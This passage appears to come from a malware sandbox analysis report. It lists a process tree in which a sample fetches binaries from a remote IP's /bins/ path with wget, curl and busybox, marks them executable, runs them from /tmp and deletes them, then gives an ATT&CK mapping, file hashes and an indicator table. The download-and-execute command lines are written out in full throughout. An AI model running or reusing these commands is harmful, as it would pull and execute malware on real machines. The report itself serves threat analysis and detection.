  curl -O http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:969
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  PID:970
- /bin/chmod
  chmod 777 MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  - File and Directory Permissions Modification
  PID:971
- /tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  ./MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  - Executes dropped EXE
  PID:972
- /bin/rm
  rm MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
  2⤵
  PID:973
- /usr/bin/wget
  wget http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  PID:974
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:975
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  PID:976
- /bin/chmod
  chmod 777 RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  - File and Directory Permissions Modification
  PID:977
- /tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  ./RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  - Executes dropped EXE
  PID:978
- /bin/rm
  rm RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
  2⤵
  PID:979
- /usr/bin/wget
  wget http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  PID:980
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:981
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  PID:982
- /bin/chmod
  chmod 777 wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  - File and Directory Permissions Modification
  PID:983
- /tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  ./wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  - Executes dropped EXE
  PID:984
- /bin/rm
  rm wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
  2⤵
  PID:985
- /usr/bin/wget
  wget http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  PID:986
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:987
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  PID:988
- /bin/chmod
  chmod 777 gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  - File and Directory Permissions Modification
  PID:989
- /tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  ./gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  - Executes dropped EXE
  PID:990
- /bin/rm
  rm gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
  2⤵
  PID:991

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L

Path /tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L	750	wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
/tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj	756	gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj
/tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1	766	RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
/tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz	792	GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
/tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ	818	EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
/tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu	825	dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
/tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1	845	nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
/tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc	867	ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
/tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi	873	J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
/tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd	879	WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
/tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf	885	aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
/tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO	891	0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
/tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7	900	MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
/tmp/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840	906	cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
/tmp/EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ	912	EZsJ81rmXLeUhwkLNjzD7d8yeC2qC4eNEJ
/tmp/GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz	918	GeC2u5ukd8oBK4CdnGg7EXXCxIfXfp3Egz
/tmp/J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi	924	J1Ov58q5j2828ksR58dAqHC3xjyJFNpVvi
/tmp/dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu	930	dnGm2McV8W5rTK8kcwDUSPQo5z7cHwMwiu
/tmp/nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1	936	nV6bwFC7N6cUfKnU5iTPdtJfiMNZEyfar1
/tmp/ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc	942	ONyms2Gb8JLxPFBJxyd3eNLCRnCH8GpNJc
/tmp/cSh9DEaemKtcvSG6nSxHZzVojJSO03u840	948	cSh9DEaemKtcvSG6nSxHZzVojJSO03u840
/tmp/WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd	954	WalxR6xsyR9eVHSeeYlBHEu2fitxzcsswd
/tmp/aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf	960	aHBqKHoC7x6TTOa2C5Mgj2AWWYLQkMwKPf
/tmp/0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO	966	0hM5IRbrIbVKtADyJWJ4OfdYMwd1fAxIlO
/tmp/MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7	972	MuvurEGXQR2GLdAEyUYs6I11QR8ncQsJx7
/tmp/RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1	978	RqYznfpQysNmg76fpNRFuI3lGXDI9WGvJ1
/tmp/wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L	984	wTwJ631Bka7zbtn08Msy7YmKOnL5lHVD0L
/tmp/gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj	990	gFoVn9VJOMOBUdPmqWvHT0iMvTlKo3pWBj